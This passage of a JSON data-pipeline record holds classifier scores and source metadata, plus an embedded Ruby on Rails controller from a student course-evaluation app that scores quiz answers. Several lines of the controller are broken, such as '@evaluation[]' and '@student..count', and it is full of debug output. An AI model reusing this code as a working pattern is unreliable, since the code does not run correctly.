Notices": 0.0002821712077789656, "News Article": 6.34233761960368e-05, "Organizational Announcement": 6.0889400471426616e-05, "Nonfiction Writing": 7.039360947827337e-05, "Organizational About Page": 7.6319049140045e-05, "Personal About Page": 4.8149958903205214e-05, "Personal Blog": 4.4475091108058344e-05, "Product Page": 4.156143230736363e-05, "Spam / Ads": 8.445891864610287e-05, "Structured Data": 0.01722044503830769, "Technical Writing": 0.01703326565538098, "Transcript / Interview": 9.055551636982681e-05, "Tutorial / How-To Guide": 0.0004888177283654998, "User Reviews": 3.1870343241972535e-05, "NONE": 0.9625558239540356}, "structured_records": {"false": 0.4958244340796193, "true": 0.5041755659203807}, "procedural_steps": {"false": 0.9909689984995906, "true": 0.009031001500409417}, "worked_solution": {"false": 0.803611091771964, "true": 0.19638890822803604}, "contextual_dialogue": {"false": 0.999991733009977, "true": 8.266990022944857e-06}, "content_quality": {"-2": 0.001889768819665952, "-1": 0.0036632395237955304, "0": 0.04505490034631334, "1": 0.44978913105875545, "2": 0.4996029602514696}, "noise_severity": {"0": 0.9530896836528635, "1": 0.04320783948719768, "2": 0.002464101106723792, "3": 0.0007393981285085161, "4": 0.0004989776247068102}, "missing_content_severity": {"0": 0.9980784474917916, "1": 0.0006465176513102696, "2": 0.0007216491812337419, "3": 0.00042132541865389574, "4": 0.00013206025701032443}, "factual_density": {"0": 0.004161300619894795, "1": 0.007975183419273939, "2": 0.10403172805192355, "3": 0.4256576103832508, "4": 0.4581741775256568}, "pretraining_utility": {"-2": 0.010821197092800931, "-1": 0.11441878700333094, "0": 0.35726780839061295, "1": 0.424908219537066, "2": 0.09258398797618908}, "math_density": {"0": 0.9840972298628504, "1": 0.013326178104995201, "2": 0.0010883528592117444, "3": 0.0005209971012085545, "4": 0.0009672420717341635}, "code_density": {"0": 0.00019236505451480904, "1": 0.00036213139688530996, "2": 0.006982359503111716, "3": 0.05462512103124269, "4": 0.9378380230142456}, "reasoning_density": {"0": 0.28937206862148945, "1": 0.15963354975252209, "2": 0.1996445394334182, "3": 0.19192305043537575, "4": 0.15942679175719454}, "education_level": {"none": 0.0008498008035940084, "0": 0.001028837277388335, "1": 0.0021146589304211834, "2": 0.10381409654194372, "3": 0.5985956704500068, "4": 0.293596935996646}, "creative_writing_quality": {"not_applicable": 0.999472896338185, "-2": 7.441269259614959e-05, "-1": 0.00010718304597845683, "0": 0.00023659629006106468, "1": 7.95266276446238e-05, "2": 2.938500553447735e-05}, "primary_topic": {"Adult & Explicit Sexual Content": 2.1306566408472386e-05, "Art & Design": 1.9466317419575775e-05, "Law & Crime": 1.4787960311227676e-05, "Education & Careers": 1.6761853144103965e-05, "Entertainment & Media": 1.1797458146656518e-05, "Fashion & Beauty": 6.804359241143547e-06, "Business, Economics & Finance": 3.96036677044254e-05, "Food & Dining": 8.955491990505778e-06, "Games & Gaming": 3.560285657577563e-05, "Electronics & Hardware": 5.638089018827385e-05, "Health, Healthcare & Wellness": 1.1055482715441563e-05, "History & Geography": 1.4508021798278346e-05, "Home, Pets & Hobbies": 1.0800531144205214e-05, "Industry & Production": 2.505664313565145e-05, "Language, Literature & Philosophy": 1.7647919476793602e-05, "Politics & Government": 9.516126586850182e-06, "Religion & Spirituality": 1.4066887860122742e-05, "Science, Mathematics & Engineering": 0.00018706529808299626, "Relationships & Community": 8.129784023992426e-06, "Software Usage & Applications": 0.0008399114147073025, "Programming & Software Engineering": 0.998391717527378, "Sports & Fitness": 2.024398743707291e-05, "Vehicles & Transportation": 3.299175940322498e-05, "Travel & Tourism": 2.2682257663935666e-05, "Other / Uncovered Subject": 0.00012319205719843742, "Unknown / Insufficient Content": 3.9946880257440296e-05}, "secondary_topic": {"Adult & Explicit Sexual Content": 0.00015814135583020085, "Art & Design": 0.00010750278888694279, "Law & Crime": 0.00015353561182225635, "Education & Careers": 0.00011004369559333405, "Entertainment & Media": 0.00010714271856923874, "Fashion & Beauty": 5.1676240827483916e-05, "Business, Economics & Finance": 0.0002794200016154372, "Food & Dining": 6.012357463097699e-05, "Games & Gaming": 0.00011624155545655686, "Electronics & Hardware": 0.0003239517804206017, "Health, Healthcare & Wellness": 6.391575727236842e-05, "History & Geography": 5.860858689190298e-05, "Home, Pets & Hobbies": 4.301951084028284e-05, "Industry & Production": 9.934392730945397e-05, "Language, Literature & Philosophy": 5.710794139893214e-05, "Politics & Government": 6.351820193383491e-05, "Religion & Spirituality": 8.938255215052627e-05, "Science, Mathematics & Engineering": 0.0006855678969280168, "Relationships & Community": 4.320973977016553e-05, "Software Usage & Applications": 0.006861359867690446, "Programming & Software Engineering": 0.01425852225210351, "Sports & Fitness": 6.022560862591942e-05, "Vehicles & Transportation": 5.4909251219183055e-05, "Travel & Tourism": 8.948054871077848e-05, "Other / Uncovered Subject": 0.0002220319729817174, "NONE": 0.9757820170605199}}, "probabilities": {"primary": {"Academic Writing": 9.264518497815823e-05, "Content Listing": 3.745160607501256e-05, "Creative Writing": 2.3810264286937452e-05, "Customer Support Page": 1.749622363702248e-05, "Q&A Forum": 1.7843807077627293e-05, "Discussion Thread": 1.1385655903949535e-05, "Comment Section": 1.99940668809522e-05, "Missing Content": 2.7873612329433583e-05, "Knowledge Article": 9.493780929982404e-05, "Legal Notices": 3.931997900771542e-05, "News Article": 8.138152576908352e-06, "Organizational Announcement": 1.838277353738406e-05, "Nonfiction Writing": 1.47815000168231e-05, "Organizational About Page": 1.6576849261408013e-05, "Personal About Page": 1.2210786148097224e-05, "Personal Blog": 9.923668759413937e-06, "Product Page": 1.1247778504282804e-05, "Spam / Ads": 1.5160691457851118e-05, "Structured Data": 0.002311350368454312, "Technical Writing": 0.9901327491220109, "Transcript / Interview": 2.8105988243833662e-05, "Tutorial / How-To Guide": 0.0001792633553873774, "User Reviews": 9.28870995002064e-06, "Other / Unknown": 0.006850062046214819}, "secondary": {"Academic Writing": 0.0003597863414861911, "Content Listing": 0.00020459012695472277, "Creative Writing": 0.00019494953996381412, "Customer Support Page": 9.918054366905613e-05, "Q&A Forum": 9.398691635925268e-05, "Discussion Thread": 7.239828478024234e-05, "Comment Section": 0.00011608596876429095, "Missing Content": 0.0003546391583940109, "Knowledge Article": 0.0005339796621780214, "Legal Notices": 0.00020189124452627572, "News Article": 9.892789591894782e-05, "Organizational Announcement": 0.00010736207283111052, "Nonfiction Writing": 9.758522135853191e-05, "Organizational About Page": 0.00010476956861696693, "Personal About Page": 8.410414605851643e-05, "Personal Blog": 7.832396219579236e-05, "Product Page": 6.428275305531778e-05, "Spam / Ads": 0.00010424970059590427, "Structured Data": 0.026576247439326246, "Technical Writing": 0.01973056905981869, "Transcript / Interview": 0.0001280361897571393, "Tutorial / How-To Guide": 0.0004364861844279042, "User Reviews": 4.836338825386493e-05, "NONE": 0.9501092046307092}, "tertiary": {"Academic Writing": 0.00026186644759749854, "Content Listing": 0.00015298647352082043, "Creative Writing": 0.0001275966185005659, "Customer Support Page": 5.93816977395156e-05, "Q&A Forum": 5.5103998696777394e-05, "Discussion Thread": 4.548046673315523e-05, "Comment Section": 8.28857439305029e-05, "Missing Content": 0.0004062796472513078, "Knowledge Article": 0.0006157986262986645, "Legal Notices": 0.00028217120777896564, "News Article": 6.342337619603681e-05, "Organizational Announcement": 6.088940047142662e-05, "Nonfiction Writing": 7.039360947827338e-05, "Organizational About Page": 7.631904914004502e-05, "Personal About Page": 4.814995890320522e-05, "Personal Blog": 4.447509110805835e-05, "Product Page": 4.156143230736364e-05, "Spam / Ads": 8.445891864610288e-05, "Structured Data": 0.017220445038307695, "Technical Writing": 0.017033265655380984, "Transcript / Interview": 9.055551636982682e-05, "Tutorial / How-To Guide": 0.0004888177283654999, "User Reviews": 3.187034324197254e-05, "NONE": 0.9625558239540357}, "structured_records": {"false": 0.4958244340796193, "true": 0.5041755659203807}, "procedural_steps": {"false": 0.9909689984995906, "true": 0.009031001500409417}, "worked_solution": {"false": 0.803611091771964, "true": 0.19638890822803604}, "contextual_dialogue": {"false": 0.999991733009977, "true": 8.266990022944857e-06}, "content_quality": {"-2": 0.0018897688196659523, "-1": 0.003663239523795531, "0": 0.04505490034631335, "1": 0.4497891310587555, "2": 0.49960296025146966}, "noise_severity": {"0": 0.9530896836528633, "1": 0.043207839487197676, "2": 0.0024641011067237915, "3": 0.0007393981285085158, "4": 0.0004989776247068101}, "missing_content_severity": {"0": 0.9980784474917918, "1": 0.0006465176513102697, "2": 0.000721649181233742, "3": 0.0004213254186538958, "4": 0.00013206025701032446}, "factual_density": {"0": 0.004161300619894796, "1": 0.00797518341927394, "2": 0.10403172805192357, "3": 0.42565761038325084, "4": 0.45817417752565687}, "pretraining_utility": {"-2": 0.010821197092800933, "-1": 0.11441878700333095, "0": 0.357267808390613, "1": 0.42490821953706603, "2": 0.0925839879761891}, "math_density": {"0": 0.9840972298628504, "1": 0.013326178104995201, "2": 0.0010883528592117444, "3": 0.0005209971012085545, "4": 0.0009672420717341635}, "code_density": {"0": 0.00019236505451480904, "1": 0.00036213139688530996, "2": 0.006982359503111716, "3": 0.05462512103124269, "4": 0.9378380230142456}, "reasoning_density": {"0": 0.28937206862148945, "1": 0.15963354975252209, "2": 0.1996445394334182, "3": 0.19192305043537575, "4": 0.15942679175719454}, "education_level": {"none": 0.0008498008035940084, "0": 0.001028837277388335, "1": 0.0021146589304211834, "2": 0.10381409654194372, "3": 0.5985956704500068, "4": 0.293596935996646}, "creative_writing_quality": {"not_applicable": 0.9994728963381853, "-2": 7.44126925961496e-05, "-1": 0.00010718304597845686, "0": 0.00023659629006106474, "1": 7.952662764462381e-05, "2": 2.9385005534477357e-05}, "primary_topic": {"Adult & Explicit Sexual Content": 2.130656640847239e-05, "Art & Design": 1.946631741957578e-05, "Law & Crime": 1.4787960311227678e-05, "Education & Careers": 1.6761853144103968e-05, "Entertainment & Media": 1.179745814665652e-05, "Fashion & Beauty": 6.804359241143548e-06, "Business, Economics & Finance": 3.960366770442541e-05, "Food & Dining": 8.95549199050578e-06, "Games & Gaming": 3.560285657577564e-05, "Electronics & Hardware": 5.6380890188273856e-05, "Health, Healthcare & Wellness": 1.1055482715441565e-05, "History & Geography": 1.4508021798278347e-05, "Home, Pets & Hobbies": 1.0800531144205215e-05, "Industry & Production": 2.5056643135651453e-05, "Language, Literature & Philosophy": 1.7647919476793605e-05, "Politics & Government": 9.516126586850184e-06, "Religion & Spirituality": 1.4066887860122744e-05, "Science, Mathematics & Engineering": 0.0001870652980829963, "Relationships & Community": 8.129784023992428e-06, "Software Usage & Applications": 0.0008399114147073026, "Programming & Software Engineering": 0.9983917175273781, "Sports & Fitness": 2.0243987437072913e-05, "Vehicles & Transportation": 3.2991759403224986e-05, "Travel & Tourism": 2.268225766393567e-05, "Other / Uncovered Subject": 0.00012319205719843744, "Unknown / Insufficient Content": 3.99468802574403e-05}, "secondary_topic": {"Adult & Explicit Sexual Content": 0.00015814135583020085, "Art & Design": 0.00010750278888694279, "Law & Crime": 0.00015353561182225635, "Education & Careers": 0.00011004369559333405, "Entertainment & Media": 0.00010714271856923874, "Fashion & Beauty": 5.1676240827483916e-05, "Business, Economics & Finance": 0.0002794200016154372, "Food & Dining": 6.012357463097699e-05, "Games & Gaming": 0.00011624155545655686, "Electronics & Hardware": 0.0003239517804206017, "Health, Healthcare & Wellness": 6.391575727236842e-05, "History & Geography": 5.860858689190298e-05, "Home, Pets & Hobbies": 4.301951084028284e-05, "Industry & Production": 9.934392730945397e-05, "Language, Literature & Philosophy": 5.710794139893214e-05, "Politics & Government": 6.351820193383491e-05, "Religion & Spirituality": 8.938255215052627e-05, "Science, Mathematics & Engineering": 0.0006855678969280168, "Relationships & Community": 4.320973977016553e-05, "Software Usage & Applications": 0.006861359867690446, "Programming & Software Engineering": 0.01425852225210351, "Sports & Fitness": 6.022560862591942e-05, "Vehicles & Transportation": 5.4909251219183055e-05, "Travel & Tourism": 8.948054871077848e-05, "Other / Uncovered Subject": 0.0002220319729817174, "NONE": 0.9757820170605199}}, "probability_diagnostics": {"primary": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "secondary": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "tertiary": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "structured_records": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "procedural_steps": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "worked_solution": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "contextual_dialogue": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "content_quality": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "noise_severity": {"raw_sum": 1.0000000000000002, "mass_delta": 2.220446049250313e-16, "missing_mass": 0.0, "excess_mass": 2.220446049250313e-16, "valid": true, "normalized": false}, "missing_content_severity": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "factual_density": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "pretraining_utility": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "math_density": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "code_density": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "reasoning_density": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "education_level": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "creative_writing_quality": {"raw_sum": 0.9999999999999998, "mass_delta": -2.220446049250313e-16, "missing_mass": 2.220446049250313e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "primary_topic": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "secondary_topic": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}}, "usage": {"input_tokens": 11527, "output_tokens": 19}, "cache": {"status": "unreported", "cached_tokens": null, "cache_write_tokens": null, "input_tokens": 11527, "cached_share": null, "cache_discount_reported": null, "reported_cost_usd": null}, "response_metadata": {"model": "decision-models/baseten-mammoth-27b-latest"}, "scored_at_utc": "2026-10-25T18:37:11.216917+00:00", "scoring_key_slot": "assistant_1", "dataset_uid": "29605b8c-ddb7-4143-8a55-7a8dd0a5c0af", "dataset_revision": "62077439f2c81c79b71c084d1057ee1d042369a3", "dataset_config": "default", "content_variant": "content", "source_record_sha256": "d22080b9463e42f7886864af7a1b0d2e4b0327b3b9a00858c5d7b28bf378f56b", "source_metadata": {"uuid": "29605b8c-ddb7-4143-8a55-7a8dd0a5c0af", "repo_name": "diffblue/gitlab", "relative_path": "spec/workers/container_registry/migration/enqueuer_worker_spec.rb", "category": "TEST", "algo_rel_score": 0.7406811714172363, "quality_score": 7.615441799163818, "source_meta": {"github_metadata": {"branch": "master", "commit_count": 360860, "repo_created_at": "2023-09-28T09:28:37.000Z", "is_fork": false, "is_org_owned": true, "forked_from": null, "stars": 4, "forks": 4, "issues": 0, "pull_requests": 0}, "file_meta": {"content_id": "ab6b3b4546645cdd4566ac331cbe63a32fccd9dd", "size_bytes": 13982, "file_timestamp": 1695892984, "language": "ruby", "is_vendor": false, "license_type": "no_license", "detected_licenses": []}, "commit_id": "4dc1ffbaad54fd3d16f21a4f08b43e2375e75cf2"}}, "parsed_source_meta": {"github_metadata": {"branch": "master", "commit_count": 360860, "repo_created_at": "2023-09-28T09:28:37.000Z", "is_fork": false, "is_org_owned": true, "forked_from": null, "stars": 4, "forks": 4, "issues": 0, "pull_requests": 0}, "file_meta": {"content_id": "ab6b3b4546645cdd4566ac331cbe63a32fccd9dd", "size_bytes": 13982, "file_timestamp": 1695892984, "language": "ruby", "is_vendor": false, "license_type": "no_license", "detected_licenses": []}, "commit_id": "4dc1ffbaad54fd3d16f21a4f08b43e2375e75cf2", "url": "https://github.com/diffblue/gitlab/blob/4dc1ffbaad54fd3d16f21a4f08b43e2375e75cf2/spec/workers/container_registry/migration/enqueuer_worker_spec.rb"}, "gpt4o_tokens": 2869, "dataset_split": "ruby", "probability_weighted_scores": {"content_quality": 1.4415522743985674, "noise_severity": 0.05235014658499805, "missing_content_severity": 0.003882033297780739, "factual_density": 3.325708180775501, "pretraining_utility": 0.4740150143005114, "math_density": 0.020934843413981007, "code_density": 3.929554305553819, "reasoning_density": 1.7723989469542638, "education_level": 3.1826222022559265, "creative_writing_quality": -0.22331810796363283}, "score_applicability": {"education_level": 0.999150199196406, "creative_writing_quality": 0.0005271036618147724}} {"source_group": "ruby", "source": "openbmb/UltraData-Stack-v3-L2/ruby", "domain": "github.com", "language": "ruby", "url": "https://github.com/hyerania/Course-Evaluation-System/blob/1fd786c697740e611728b1a2c7d3cf89d55d1f27/app/controllers/questions_controller.rb", "id": "ruby-0-e109ed3fd8d90b5777178f27e3257088", "text": "#$global_question_choice_counter={}\n\nclass QuestionsController < ApplicationController\n before_action :set_page, only: [:view]\n QUESTIONS_PER_PAGE = 1\n \n def save\n puts \"save!\"\n \n score=0\n i=0\n \n @evaluation = Evaluation.pluck(:content).last\n @this_evaluation=Evaluation.last\n \n @student=Student.where(:uin=>session[:uin]).first\n \n choices_seen=0\n \n #puts @this_evaluation.scales\n \n total_score=0\n \n @evaluation.each do |question|\n \n #question_choice_stat\n #if $global_question_choice_counter[question][session[:choice][i]]!=nil\n # $global_question_choice_counter[question][session[:choice][i]]+=1\n #else\n # $global_question_choice_counter[question][session[:choice][i]]=1\n #end\n \n #puts session[:choice][i]\n #puts \"|\"\n #puts Question.where(:content => question).pluck(:answer).first\n \n temp_question=Question.where(:content => question).first\n \n temp_question_choice_count=0\n \n temp_question_max_score=0\n \n if temp_question.c1!=nil then temp_question_choice_count+=1 end\n if temp_question.c2!=nil then temp_question_choice_count+=1 end\n if temp_question.c3!=nil then temp_question_choice_count+=1 end\n if temp_question.c4!=nil then temp_question_choice_count+=1 end\n if temp_question.c5!=nil then temp_question_choice_count+=1 end\n \n \n if @student.choices[i].to_i==temp_question.getCorrectAnswerNum then puts\"correct\" end\n score+=@this_evaluation.scales[choices_seen+@student.choices[i].to_i-1]\n temp_question_max_score=@this_evaluation.scales[choices_seen..(choices_seen+temp_question_choice_count)].max\n #end\n i+=1\n choices_seen+=temp_question_choice_count\n total_score+=temp_question_max_score\n end\n puts \"score:\"\n puts score\n puts total_score\n \n session[:choice]=[]\n \n @student.score=score\n @student.scoretotal=total_score\n @student.attempts+=1\n @student.choices=[]\n @student.save\n \n #puts $global_question_choice_counter\n \n redirect_to students_show_path()\n end\n \n \n def view\n @student=Student.where(:uin=>session[:uin]).first\n @evaluation = Evaluation.where(eid: session[:eid]).pluck(:content).first\n @questions=Question.where(:content => @evaluation[])\n \n if params[:commit]==\"Next\"||params[:commit]==\"Submit\"\n #puts \"backarrow:\"\n #puts params[:page]\n #puts @student.choices.count\n if params[:page].to_i==@student.choices.count+((params[:stat]==\"success\"||params[:stat]==\"noanswer\"||params[:stat]==\"goback\")?0:1)\n #puts \"here1\"\n if params[:choice]!=nil&¶ms[:choice].length>0\n #if params[:page].to_i==@student.choices.count+1\n \n puts \"we are on the same page\"\n \n flash.discard\n \n @this_question=Question.where(:content => @evaluation[@student..count]).first\n \n \n if params[:choice]==\"1\" then @this_question.c1_count+=1\n elsif params[:choice]==\"2\" then @this_question.c2_count+=1\n elsif params[:choice]==\"3\" then @this_question.c3_count+=1\n elsif params[:choice]==\"4\" then @this_question.c4_count+=1\n elsif params[:choice]==\"5\" then @this_question.c5_count+=1\n end\n \n @this_question.save\n \n \n @student.choices=@student.choices << params[:choice].to_i\n @student.save\n #@student\n \n puts @student.choices\n if params[:commit]==\"Submit\"\n redirect_to :controller=> \"questions\", :action=> \"save\"\n else\n redirect_to controller: 'questions', action: 'view', page:@student.choices.count, commit:\"Next\", stat:\"success\"\n end\n \n #else\n # #puts \"back to your previous page\"\n # @questions=Question.where(:content => @evaluation[@student.choices.count])\n # redirect_to controller: 'questions', action: 'view', page:@student.choices.count, commit:\"Next\", stat:\"goback\"\n #end\n elsif params[:commit]==\"Next\"||params[:commit]==\"Submit\"\n if params[:stat]==\"goback\"\n flash[:warning] = \"Don't even think about going back!\"\n elsif params[:stat]==\"success\"\n #flash[:success] = \"Choice saved!\"\n elsif params[:stat]==\"noanswer\"\n flash[:warning] = \"You have to pick an answer\"\n else\n @questions=Question.where(:content => @evaluation[@student.choices.count])\n redirect_to controller: 'questions', action: 'view', page:@student.choices.count, commit:\"Next\",stat:\"noanswer\"\n end\n end\n \n @questions=Question.where(:content => @evaluation[@student.choices.count])\n \n else\n #puts \"here2\"\n @questions=Question.where(:content => @evaluation[@student.choices.count])\n if params[:stat]!=\"goback\"\n redirect_to controller: 'questions', action: 'view', page:@student.choices.count, commit:\"Next\", stat:\"goback\"\n end\n end\n \n \n # elsif params[:commit]==\"Submit\"\n \n # if params[:choice]!=nil&¶ms[:choice].length>0\n # #update answer\n # #puts Question.where(:content => @evaluation[@student.choices.count]).pluck(:qid).first\n # if params[:page].to_i==@student.choices.count+1\n # puts \"we are on the same page\"\n \n # @this_question=Question.where(:content => @evaluation[@student.choices.count]).first\n \n \n # if params[:choice]==\"1\" then @this_question.c1_count+=1\n # elsif params[:choice]==\"2\" then @this_question.c2_count+=1\n # elsif params[:choice]==\"3\" then @this_question.c3_count+=1\n # elsif params[:choice]==\"4\" then @this_question.c4_count+=1\n # elsif params[:choice]==\"5\" then @this_question.c5_count+=1\n # end\n \n # @this_question.save\n \n \n # @student.choices=@student.choices << params[:choice].to_i\n # @student.save\n # #@student\n \n # puts @student.choices\n \n \n # redirect_to :controller=> \"questions\", :action=> \"save\"\n # else\n # @questions=Question.where(:content => @evaluation[@student.choices.count])\n # redirect_to controller: 'questions', action: 'view', page:@student.choices.count, commit:\"Next\", stat:\"goback\"\n # end\n \n # elsif true\n # if params[:stat]==\"goback\"\n # flash[:warning] = \"Don't even think about going back!\"\n # else\n # flash[:warning] = \"You have to pick an answer\"\n # #redirect_to controller: 'questions', action: 'view', page:@student.choices.count, commit:\"Next\"\n # end\n \n # end\n \n # @questions=Question.where(:content => @evaluation[@student..count])\n \n # #redirect_to controller: 'questions', action: 'view', page:@student.choices.count, commit:\"Next\"\n elsif (params[:commit]!=\"Submit\"&&@student.choices.count==0)\n @questions=Question.where(:content => @evaluation[@student..count])\n elsif true\n flash.discard\n flash[:warning] = \"Don't even think about going back!\"\n redirect_to controller: 'questions', action: 'view', page:@student.choices.count, commit:\"Next\", stat:\"goback\"\n end\n \n #puts @questions[0].content\n \n end\n private\n def set_page\n #puts \"session before:\"\n #puts session[:page]\n #puts params[:page]\n if(session[:uin].nil?)\n redirect_to controller: 'students', action: 'welcome'\n end\n \n \n #commented out for testing\n \n if params[:commit]!=nil&¶ms[:commit]==\"Next\"&¶ms[:page]!=nil&¶ms[:choice]!=nil\n puts \"set page allowed\"\n end\n \n #puts \"session after:\"\n #puts session[:page]\n \n end\n \n\n \n def edit\n \n end\n \n def create\n\n end\n\n def remove\n \n end\n \nend\n", "text_preview": "#$global_question_choice_counter={} class QuestionsController < ApplicationController before_action :set_page, only: [:view] QUESTIONS_PER_PAGE = 1 def save puts \"save!\" score=0 i=0 @evaluation = Evaluation.pluck(:content).last @this_evalua", "input_sha256": "305a56e7d0257a0456d5b1e300ac059a77f4b49506d0f467acafd7d08da76b38", "text_sha256": "e109ed3fd8d90b5777178f27e3257088cfbb6b803a3e14d342be409e15eee937", "run_sha256": "0dbe3046118ab5f0eea428b55f67ac75d558dc1c7da585927c21fa1685f6e177", "line_number": 16121, "input_policy": "text-and-optional-url-v1", "label_policy_version": 12, "requested_model": "decision-models/baseten-mammoth-27b-latest", "backend": "baseten", "endpoint": "https://inference.baseten.co/v1/systemone", "status": "ok", "training_eligible": true, "label": {"primary": {"main_format": "Technical Writing", "sub_format": null}, "secondary": null, "tertiary": null, "content_structure": []}, "candidate_label": null, "topic": {"primary": {"main_topic": "Programming & Software Engineering", "sub_topic": null}, "secondary": null}, "scores": {"content_quality": -1, "noise_severity": 0, "missing_content_severity": 0, "factual_density": 3, "pretraining_utility": 0, "math_density": 0, "code_density": 4, "reasoning_density": 0, "education_level": 2, "creative_writing_quality": null}, "score_expectations": {"content_quality": -0.35099167535761355, "noise_severity": 0.6143991856497748, "missing_content_severity": 0.1016036803683023, "factual_density": 2.818952543209738, "pretraining_utility": -0.050396524210039984, "math_density": 0.5423112024803664, "code_density": 3.890369866291894, "reasoning_density": 0.5026677614887112, "education_level": 2.131804559508415, "creative_writing_quality": -0.7813042124410101}, "api_choices": {"primary": "Technical Writing", "secondary": "NONE", "tertiary": "NONE", "education_level": "2", "creative_writing_quality": "not_applicable", "primary_topic": "Programming & Software Engineering", "secondary_topic": "NONE"}, "review_reasons": [], "format_slot_diagnostics": {"comparable": true, "secondary_tertiary_identical": false, "secondary_tertiary_max_abs_gap": 0.0036586322739706745, "secondary_choice": "NONE", "tertiary_choice": "NONE"}, "confidence": {"primary": 0.9966005407561692, "secondary": 0.9884896186014479, "tertiary": 0.9923073218438521, "structured_records": 0.0035450257763851886, "procedural_steps": 0.0007431538061953684, "worked_solution": 0.0016877562530100603, "contextual_dialogue": 9.694857641471471e-06, "content_quality": 0.34375049900380905, "noise_severity": 0.4880006786251876, "missing_content_severity": 0.9153302663597481, "factual_density": 0.385331121825352, "pretraining_utility": 0.5280929201466849, "math_density": 0.548073997933028, "code_density": 0.9086415552432449, "reasoning_density": 0.5811101987594074, "education_level": 0.7719168194998498, "creative_writing_quality": 0.9988727239276276, "primary_topic": 0.9509471423935358, "secondary_topic": 0.714263785174951}, "probability_margin": {"primary": 0.9947450948014471, "secondary": 0.982645595597191, "tertiary": 0.9889199301374604, "education_level": 0.6650963774491052, "creative_writing_quality": 0.9987384788356094, "primary_topic": 0.9116959205221369, "secondary_topic": 0.5169020441343246}, "raw_probabilities": {"primary": {"Academic Writing": 5.386736008630203e-05, "Content Listing": 2.7457945983420207e-05, "Creative Writing": 2.7000919723592935e-05, "Customer Support Page": 1.0034751951545732e-05, "Q&A Forum": 1.6907793559657733e-05, "Discussion Thread": 1.0229147438886181e-05, "Comment Section": 2.0207659228560474e-05, "Missing Content": 5.57588586008658e-05, "Knowledge Article": 6.898760987108326e-05, "Legal Notices": 4.087415697158126e-05, "News Article": 6.055005884321817e-06, "Organizational Announcement": 1.3376307257121693e-05, "Nonfiction Writing": 1.5568451996078248e-05, "Organizational About Page": 1.575322238931067e-05, "Personal About Page": 2.0520501135948043e-05, "Personal Blog": 1.1290603686397441e-05, "Product Page": 1.1272276041494782e-05, "Spam / Ads": 1.4955159222618961e-05, "Structured Data": 0.0005112845206403969, "Technical Writing": 0.9967421848913288, "Transcript / Interview": 2.024461722689522e-05, "Tutorial / How-To Guide": 0.0002791826219235976, "User Reviews": 9.895527969940241e-06, "Other / Unknown": 0.0019970900898816576}, "secondary": {"Academic Writing": 0.00011962179509473938, "Content Listing": 7.34756863504138e-05, "Creative Writing": 9.230552211358567e-05, "Customer Support Page": 3.602125669927117e-05, "Q&A Forum": 4.0272471340655074e-05, "Discussion Thread": 2.6639302294786473e-05, "Comment Section": 0.0002474728706297395, "Missing Content": 0.0005880667801683737, "Knowledge Article": 0.00021310131088642247, "Legal Notices": 0.00011421545515518873, "News Article": 3.907967870824744e-05, "Organizational Announcement": 4.1515545256901734e-05, "Nonfiction Writing": 4.379056530610585e-05, "Organizational About Page": 5.523506747560557e-05, "Personal About Page": 4.4570633182947184e-05, "Personal Blog": 4.069391005245444e-05, "Product Page": 3.3975767909085704e-05, "Spam / Ads": 6.13783255249531e-05, "Structured Data": 0.002091904295214769, "Technical Writing": 0.006323622229196629, "Transcript / Interview": 5.6690175031098747e-05, "Tutorial / How-To Guide": 0.0006228540771890807, "User Reviews": 2.4279452831251736e-05, "NONE": 0.9889692178263876}, "tertiary": {"Academic Writing": 8.978220930583985e-05, "Content Listing": 8.944561569751112e-05, "Creative Writing": 8.496121407344257e-05, "Customer Support Page": 3.23331096056473e-05, "Q&A Forum": 4.0571555246640456e-05, "Discussion Thread": 2.503633675160421e-05, "Comment Section": 0.00025959406779032173, "Missing Content": 0.0008777667098184854, "Knowledge Article": 0.00020397508236363844, "Legal Notices": 0.00012680219945057555, "News Article": 3.601732307693649e-05, "Organizational Announcement": 3.6703190918101136e-05, "Nonfiction Writing": 4.756245865042037e-05, "Organizational About Page": 6.0505512368090844e-05, "Personal About Page": 3.930475953990633e-05, "Personal Blog": 3.6026993561008115e-05, "Product Page": 3.462084349271298e-05, "Spam / Ads": 5.9680275027356694e-05, "Structured Data": 0.000873469527929797, "Technical Writing": 